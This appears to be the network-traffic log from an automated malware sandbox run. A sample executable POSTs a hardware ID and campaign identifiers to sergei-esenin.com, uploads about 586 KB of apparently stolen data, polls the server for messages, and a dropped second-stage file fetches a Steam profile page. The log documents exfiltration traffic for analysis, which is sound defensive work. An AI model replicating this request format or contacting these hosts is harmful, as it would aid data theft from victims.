6	192.168.2.6	49743	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:17 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: sergei-esenin.com
2024-10-24 02:57:17 UTC	1221	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:57:17 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1jtk294ob9t1admr54vi08v8kg; expires=Sun, 16 Feb 2025 20:43:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lBap2zd3U8ic6Wf0ov1yYp5Ty9OjmQdKTYIskascRTi90hW%2BsSq8v9LBXiouvaK3znYkso5ntdQ8Gd3zTJ8SlwgQwC%2FcTil6sTG%2BbnbmTwN6HxU3G0jD8bzWMv3Z%2Fn11G9%2FAGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2d33bb7a916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1089&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2228&delivery_rate=2683966&cwnd=129&unsent_bytes=0&cid=20a793d0c53f415e&ts=522&x=0"
2024-10-24 02:57:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:57:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49753	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:18 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586581 Host: sergei-esenin.com
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: 1f 35 30 40 69 be a6 88 11 e8 2c c0 bc 3d 70 4c 50 9e 39 d4 f2 db 37 df 94 6a 16 34 91 b2 20 82 84 45 60 7d 85 de 8e 28 3f 3f 7e 60 a9 86 d5 c2 75 60 2c ce a1 35 d3 49 5f 94 5f df 14 e9 4a 09 76 44 60 ec 7b e0 f5 9a 96 77 f7 f7 56 f3 9a 6c e0 f5 a9 1d cc e1 c0 23 63 4a 2e 0b 11 72 fc 40 84 ae 5f 67 88 c6 7a 27 30 f3 8c 7c 44 50 9c 3d c3 34 95 18 78 3b c6 e0 4c 87 35 44 3f 2c d9 cb 07 2e 27 a5 3b b8 e1 40 93 1c c7 d6 18 1d 2b 92 e9 50 0a c9 aa c0 14 11 6e 91 06 d5 8f fd 39 25 3c ee 0b 82 50 bb 24 bd 1c 39 50 cc 70 98 60 d6 f2 a4 ca ce 94 66 3c a5 ca 4c 46 7d 10 96 66 14 01 6b d7 9d e9 a2 62 4c e1 79 cc bc 51 ea 76 53 80 8b 1c ab de 51 90 43 5a 93 ab 61 3c c8 f0 0e 3e 24 48 26 51 11 9f c2 bb 25 b9 d6 1d 04 eb 89 e4 3f 0f d7 c7 c2 be bf a0 8d ed 98 50 85 af Data Ascii: 50@i,=pLP97j4 E`}(??~`u`,5I__JvD`{wVl#cJ.r@_gz'0\|DP=4x;L5D?,.';@+Pn9%<P$9Pp`f<LF}fkbLyQvSQCZa<>$H&Q%?P
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: 39 0c ac b2 45 9d 36 57 11 b0 57 e6 29 88 af b6 f8 66 9e 19 ec b5 0d 21 39 ca 9a ab 0f 34 8d 39 6f 9e a1 0a 78 58 06 0d 2e ff e1 53 69 2a 1b 4c 15 7a b2 24 ff 1b 53 04 e1 98 c1 41 96 ea 04 ef b8 45 2b a5 aa b8 5d f4 10 05 e3 4c b3 58 5d 34 09 b5 f1 e2 d3 ca 77 d9 f5 5a b1 1b 4a 74 fd 49 f9 86 bb d3 a8 86 b2 f2 6d 9d 85 84 5c 23 0f e2 5e 95 4f 71 d5 7a 22 24 96 d7 57 13 92 07 2e b7 0c 2b d1 fd 4f 68 47 59 d6 0a d7 2b fd 6c 76 16 5d 0d 87 11 e3 9c 79 c4 dd fb a2 b5 4d 8e 06 07 f9 2e fc f8 11 3a 33 77 2e 26 63 be 44 13 f0 40 d3 d2 5d cb 09 28 52 eb ab 9a be ad 16 29 e4 6f ea b8 43 32 0b e9 de 6c 3a 2b 88 aa fb c3 ee 6b bb 52 43 c8 3e d6 68 aa f3 ba c2 58 23 6a e2 0a b0 7a 48 21 cc 11 56 25 7f 16 91 ce 38 3b cc c9 8f 28 a6 d9 50 b2 e1 04 27 89 5a a5 31 fa 65 Data Ascii: 9E6WW)f!949oxX.Si*Lz$SAE+]LX]4wZJtIm\#^Oqz"$W.+OhGY+lv]yM.:3w.&cD@](R)oC2l:+kRC>hX#jzH!V%8;(P'Z1e
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: f3 d1 96 c7 fb a1 ef e7 0f 67 95 e1 d4 8d 6a 49 26 fc db 6c ad 57 0f c0 9d d2 04 1b a0 22 bd bc 71 28 9c b2 1e 76 f8 21 5f 0a e3 1c 84 32 73 f7 03 ee 47 fa 2c 66 85 28 19 56 7f 62 72 55 9e cc 35 2a ef 1b e8 fc e8 db 72 49 29 9c a9 aa 80 f5 19 b3 6f 5d 21 f1 66 b8 ed 7f 75 ac 72 99 22 91 21 c4 87 fb 30 b0 c8 58 5e d3 52 8e 26 b3 3e 73 03 be 53 d7 f1 19 26 00 9b b1 15 9f 66 d5 ce 9e 7c ef 5a 7c 9d 4b 96 dc e4 b4 d7 5d d5 3b 96 77 31 4a d4 a4 d4 c7 cf 7d be 09 bd ba e7 36 65 da d5 4a 0a b9 39 fe 81 c8 05 f4 b9 3f 81 62 58 37 e3 a6 06 42 95 1e f4 c1 b3 19 2c 6e 87 d2 fd 35 30 ed a4 78 ab a9 32 81 79 a2 81 a3 1c 47 39 4e ab 2a a2 83 a7 95 52 e7 02 b9 22 f3 a9 f0 1c fc 90 56 f3 33 2e e5 af aa cf 5a 58 e5 51 2f 03 48 29 46 0a cd 4b c1 3a 91 61 7e f3 bf 0b c5 6e Data Ascii: gjI&lW"q(v!_2sG,f(VbrU5rI)o]!fur"!0X^R&>sS&f\|Z\|K];w1J}6eJ9?bX7B,n50x2yG9NR"V3.ZXQ/H)FK:a~n
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: c5 41 92 24 a3 e5 9a 16 1e 45 f2 54 ce bc d9 d5 b5 13 56 fa ce 18 66 77 f8 fc 56 66 fc ca ad e3 36 69 51 62 47 79 7e 20 4c 61 64 fe 1b 87 70 b2 d5 9c 30 8f eb c9 04 55 01 c1 00 9f 51 91 77 bf 6b 4c bd 4d ac 33 50 b7 39 47 14 25 2e 6c 7f f0 b6 4c 8b 2e d5 4e 7e 64 84 ba db 3d 23 fc 8a c3 15 96 19 7d 4f 4c e5 43 91 85 21 ee b4 fe f4 6c 47 10 e9 0a db 9b 2d ad 7c 65 c8 c3 8d 03 a3 4d 30 2d 4b ac 16 64 7c b6 5f 4e ee 38 c3 8d 43 43 86 12 2f 5b 2d 6f ef f0 11 45 8f 5a d8 76 e3 26 31 0d 03 91 8e ff f9 ab ff df 8b 15 17 58 9b 84 99 a3 20 e5 0a a2 3e e0 16 52 0b 09 2a cf 0d a7 12 50 64 88 df b1 b3 d1 53 b4 a6 56 1e 81 4c 78 1d 16 20 a7 65 e7 b9 3e f3 82 5b 5c de e7 c2 d1 57 71 6f 29 df 1a 5f de 2f 92 fe ef 06 77 fa cb e7 b5 ba f1 db f7 a0 1f fc 76 0c b2 ab a4 b3 Data Ascii: A$ETVfwVf6iQbGy~ Ladp0UQwkLM3P9G%.lL.N~d=#}OLC!lG-\|eM0-Kd\|_N8CC/[-oEZv&1X >R*PdSVLx e>[\Wqo)_/wv
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: b1 a1 a5 bc 42 7b c3 c3 5d d2 13 77 62 ae 57 7e f8 84 55 a9 aa 09 7e 4a 29 c0 ee f7 46 dc 3d ec 0b ee fc ee f9 de ca 2e 0a f6 da 55 dd 6e 0e 36 09 a7 2a b1 da 37 3d 05 79 5b 5b 59 16 9b b1 58 af cb c2 9f 4e 59 ec 3a 39 d1 03 67 58 ce bb cf e0 76 df 13 5e 79 5b 1f c6 93 5c ba 78 4d e8 59 97 b3 f0 dc 44 2c c2 ef 20 1e 8f 77 4a 33 d0 43 87 a6 f0 bb 4a c5 7c b5 65 4c fd 79 d1 17 c6 05 24 b8 df a9 e1 7c 80 bc 15 4b ff b0 2b 45 36 7d 7a a1 33 78 a8 a8 d0 71 47 c6 28 ec 74 be f2 49 29 5c 1b 17 d6 e3 97 55 5b df 29 d2 ac a0 a5 55 fa d3 98 28 40 fd eb fc 39 e1 dd 2b 68 4a 65 d6 de 91 59 a2 4a fe d7 67 85 f6 7a b1 fd 91 9c 88 a0 53 27 d9 66 d5 ce e7 f5 0a 5a af 91 3d 5a 09 08 23 28 58 74 15 62 f4 95 87 9d fa e9 36 5e 2d 8f 7d 6e 85 1a 1b 56 e5 d3 8a a6 a4 d4 89 1d Data Ascii: B{]wbW~U~J)F=.Un6*7=y[[YXNY:9gXv^y[\xMYD, wJ3CJ\|eLy$\|K+E6}z3xqG(tI)\U[)U(@9+hJeYJgzS'fZ=Z#(Xtb6^-}nV
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: 12 71 26 11 61 78 8c 5b 1e 66 bb 51 47 cd 27 99 4b 1f 5a bf 54 4a 50 3e f6 85 7c ec 0b f3 5d bf 8d 12 77 e3 02 10 47 61 0f 22 32 20 78 43 7e d4 79 ec 58 e5 a1 f1 bf 2c 6f 0b a9 52 64 e8 32 24 59 5b 8a c8 98 e2 54 d1 5b bc ef f6 b4 24 55 ae aa ae 88 6b 54 7c f2 00 bd 4e 76 21 28 86 94 bf 77 b5 98 0a ff c2 d2 e4 52 6e ad 5e 22 66 f6 da 88 39 6c d2 ff 25 53 57 91 d7 77 94 a3 45 e9 a7 97 08 ec 3c b0 37 2f 25 f8 4b c0 e2 23 d9 b0 fb 3e ab e1 6d ec 63 db 66 e9 5f 3f 5e fc e2 3f 7f 6f 92 35 30 c2 66 fe 5b 57 7d 94 f5 a7 fa d1 1d c7 ea a3 48 90 d1 30 1f cc 7d 85 0b 78 0e 0d 3c ae 5d a8 16 07 55 81 25 b6 47 91 14 6d 6d 88 a2 d1 c8 ae 2d 52 61 3d a3 7d b3 d5 c5 a6 38 00 c6 a1 27 fa 17 af 7e 19 27 c4 7f 39 aa ff c2 ce dc a7 ef 73 16 1a 44 f1 e9 82 ec 8e 6b dc e0 fd Data Ascii: q&ax[fQG'KZTJP>\|]wGa"2 xC~yX,oRd2$Y[T[$UkT\|Nv!(wRn^"f9l%SWwE<7/%K#>mcf_?^?o50f[W}H0}x<]U%Gmm-Ra=}8'~'9sDk
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: 5a f1 26 ff d4 0d 7d a5 46 a3 15 d7 aa 29 a0 b0 2c c5 86 e7 ad 32 9f 9c 22 8f e4 f9 ff fb dd a0 35 e4 25 77 e3 25 e8 ba ca 6d 98 b0 37 0f e3 95 ef 31 22 1f 12 cb 99 3a 3c c8 cd 35 a4 d7 71 97 45 75 c6 ee 94 bd f0 39 c3 50 b6 c3 e1 52 eb 98 d7 a0 b3 d1 6d c1 fb 61 47 d8 2f 87 b9 33 62 82 2c 99 1b f5 8a 2d f3 0e e0 0b 16 d7 a8 1f 14 b4 d1 06 9d 3f 03 4a c1 65 73 fa 2e a3 b8 6b 81 0f 57 8a 14 ee 83 48 e7 df 09 3b 4e fe 0f 82 a0 78 03 dd 57 41 3b b2 22 c9 9e da 4c b6 b3 b6 b8 92 eb bd 4f 52 a9 c3 2e 8d b9 91 1f 1b a7 8c d8 1d 60 21 d8 bf 2d a4 0c f1 73 79 ea 7f a4 b3 63 5c 6c 88 06 3e c5 a6 96 c3 8b 1c e6 87 7b 56 7a d0 73 3d 3a 50 4d 07 a0 af 4d 5d 56 0b 8a 5b 9e 6b df f0 45 d2 cf 50 c2 29 33 14 f3 3b ea f2 6a 3b cb 53 10 18 ad 7e b9 9d 3e 0f c7 62 45 ad 88 Data Ascii: Z&}F),2"5%w%m71":<5qEu9PRmaG/3b,-?Jes.kWH;NxWA;"LOR.`!-syc\l>{Vzs=:PMM]V[kEP)3;j;S~>bE
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: e9 0e 55 8a ba ab 6f f9 c0 29 bc 2e 8c 2f 75 e9 14 7c cf 47 50 20 16 c3 d3 59 89 9b e6 cb 4d be 01 45 f2 b0 70 19 2a d5 d7 d0 79 f9 6f a7 5d 5d 2a 42 97 47 8c 2e f3 09 a0 6a 38 5d a7 d8 3d a9 70 f0 91 15 a2 0d e4 48 24 d7 15 e4 e7 9b 45 f9 30 42 f2 92 d3 14 e7 97 61 3b 56 b9 fe d0 86 20 c3 6a 05 68 b4 b0 4d 5d 7b 5b c0 65 51 70 0f 61 ad 40 91 45 35 8a e6 d6 be df d4 11 e8 31 dd 67 70 b5 78 87 57 59 c0 d8 c4 b8 15 14 ef c1 95 bf 1b b6 e3 3f b5 50 86 32 a3 8e 44 47 14 9d c4 eb 6f 63 0a 1d a8 d5 ef 39 ab 2a 22 39 bc a2 e6 9c b1 8c 3c ea c6 7d 8b e6 e0 ab af 62 4f a1 9d 93 29 ba e7 0d 37 d2 c9 5d 2c cd d7 75 e2 4a 78 62 ba 59 e0 cc ec 25 bc f5 e6 c0 60 ba 92 74 01 26 97 6e dd a4 e7 48 22 cf 9d 9c e6 b1 8f b2 70 5d cd 41 ca f3 b6 cd da 1e 5c 99 c1 c0 d8 00 2f Data Ascii: Uo)./u\|GP YMEpyo]]BG.j8]=pH$E0Ba;V jhM]{[eQpa@E51gpxWY?P2DGoc9*"9<}bO)7],uJxbY%`t&nH"p]A\/
2024-10-24 02:57:18 UTC	15331	OUT	Data Raw: a8 91 0e 1c 4c d9 e5 1c 21 8a 18 75 88 09 f7 fd 96 eb 78 42 54 94 57 38 72 e4 03 11 85 f9 d2 47 93 e6 60 63 bd 06 1a 44 69 22 56 80 52 c4 de b0 42 0e 20 db d5 04 b7 01 94 04 6a 3e b7 28 59 ad fb 83 69 39 22 66 b7 ef e1 5d eb 38 ea c5 31 ed c1 28 e7 46 fd 6e 86 20 44 10 12 1d 76 98 cf f1 67 1f 58 97 bf 65 6a f4 09 89 8a 9d 9e ed 9a 2e bc 83 f2 fa 9b c0 a5 d6 c8 54 61 53 2d 4e 51 32 be de 6c 51 4d 22 5f 19 e5 41 8d 84 10 27 f5 03 ce 82 a0 3b 80 78 59 0c 47 95 10 69 7a a5 b4 45 68 a7 99 89 a0 8a f2 00 d6 36 a5 6d 25 f1 60 bd 69 c1 98 9c 6a 8b 7c 92 0e b6 d3 0b 98 19 4f 1d e4 2a c1 80 85 2d d3 7e d4 f1 3c e5 9e db 2c 9e 07 6a af d5 50 b1 f1 c6 e3 2d 5c 24 67 64 6e 94 2f ae ba 6c 32 f2 ac ba ad d0 c2 fd 4e b6 c8 bf dc 37 df de d4 df 3e 1a 96 28 b0 ea 5e 3c ba Data Ascii: L!uxBTW8rG`cDi"VRB j>(Yi9"f]81(Fn DvgXej.TaS-NQ2lQM"_A';xYGizEh6m%`ij\|O*-~<,jP-\$gdn/l2N7>(^<
2024-10-24 02:57:20 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rkr97jhjbiukrppvf29raejlvc; expires=Sun, 16 Feb 2025 20:43:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OqwQtCfds0g4tVpDM6YPr9BWGNDYw%2B4AShgxvDLhW1r%2B5xvOXqP6zeKNGLyKEKOsotdJb9qXuDa9%2FvkbnXjhKBi2Ff8fo2NCUSXyw1XH28r81sqGz3BWZvLOILJN%2BEbr1A0C5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2ddfb1b0bd9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1058&sent=214&recv=622&lost=0&retrans=0&sent_bytes=2845&recv_bytes=589262&delivery_rate=2669124&cwnd=245&unsent_bytes=0&cid=7fd64c2346e25d3f&ts=1720&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49767	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:21 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:57:21 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=02113C705D9B5A7BBE56353A434AD2B5
2024-10-24 02:57:21 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aro17dqddqaqh5ls9eook9g22i; expires=Sun, 16 Feb 2025 20:44:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JVhO7hGdVxyVScDHGdu5M3OG2Wq0qgtlFTGlOneKZTEUK9szuOsF6Rt4D9b7txkSbJPHw1trZShV6FaQiGe0rs83hA3CJK6VBDbJbT1NjB25Dq8jf1S4R8pITNXz%2B14DaQX4qw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2ed1d48e7d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1758348&cwnd=250&unsent_bytes=0&cid=edf686861722a16f&ts=410&x=0"
2024-10-24 02:57:21 UTC	299	IN	Data Raw: 31 32 34 0d 0a 53 4a 6a 34 4d 42 54 31 70 72 6e 36 4b 67 78 72 65 73 46 69 75 6a 30 41 4f 4a 34 4f 74 38 78 73 74 4a 64 76 6e 72 68 42 58 6c 73 54 34 39 70 46 4e 73 2b 45 30 59 35 65 66 46 45 6d 37 6a 36 56 44 44 67 4e 73 44 79 47 2b 55 4b 46 70 6c 79 77 69 58 63 43 64 43 58 78 6c 6c 56 49 32 74 54 59 6c 45 35 6a 42 6c 53 6b 47 74 38 66 4c 42 72 34 65 70 58 32 58 4a 69 31 43 72 79 43 63 53 4e 33 4d 37 71 4e 45 69 37 58 7a 73 32 4f 57 6a 59 33 56 5a 31 4e 69 77 55 31 46 71 77 2f 67 75 4a 64 68 61 52 42 72 34 34 64 63 53 67 38 2f 5a 6c 64 53 4e 72 55 32 4a 52 4f 59 77 5a 55 70 42 72 66 48 79 77 61 2b 48 71 56 39 6c 79 59 74 51 71 38 67 6e 45 6a 64 7a 4f 36 6a 52 49 75 31 38 37 4e 6a 6c 6f 32 4e 31 57 64 54 59 73 46 4e 52 61 73 50 34 4c 69 58 59 57 6b 51 61 Data Ascii: 124SJj4MBT1prn6KgxresFiuj0AOJ4Ot8xstJdvnrhBXlsT49pFNs+E0Y5efFEm7j6VDDgNsDyG+UKFplywiXcCdCXxllVI2tTYlE5jBlSkGt8fLBr4epX2XJi1CryCcSN3M7qNEi7Xzs2OWjY3VZ1NiwU1Fqw/guJdhaRBr44dcSg8/ZldSNrU2JROYwZUpBrfHywa+HqV9lyYtQq8gnEjdzO6jRIu187Njlo2N1WdTYsFNRasP4LiXYWkQa
2024-10-24 02:57:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49997	104.102.49.254	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:58:18 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:58:18 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=35cc249587d8edc20f43adf9; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:58:18 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:58:18 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 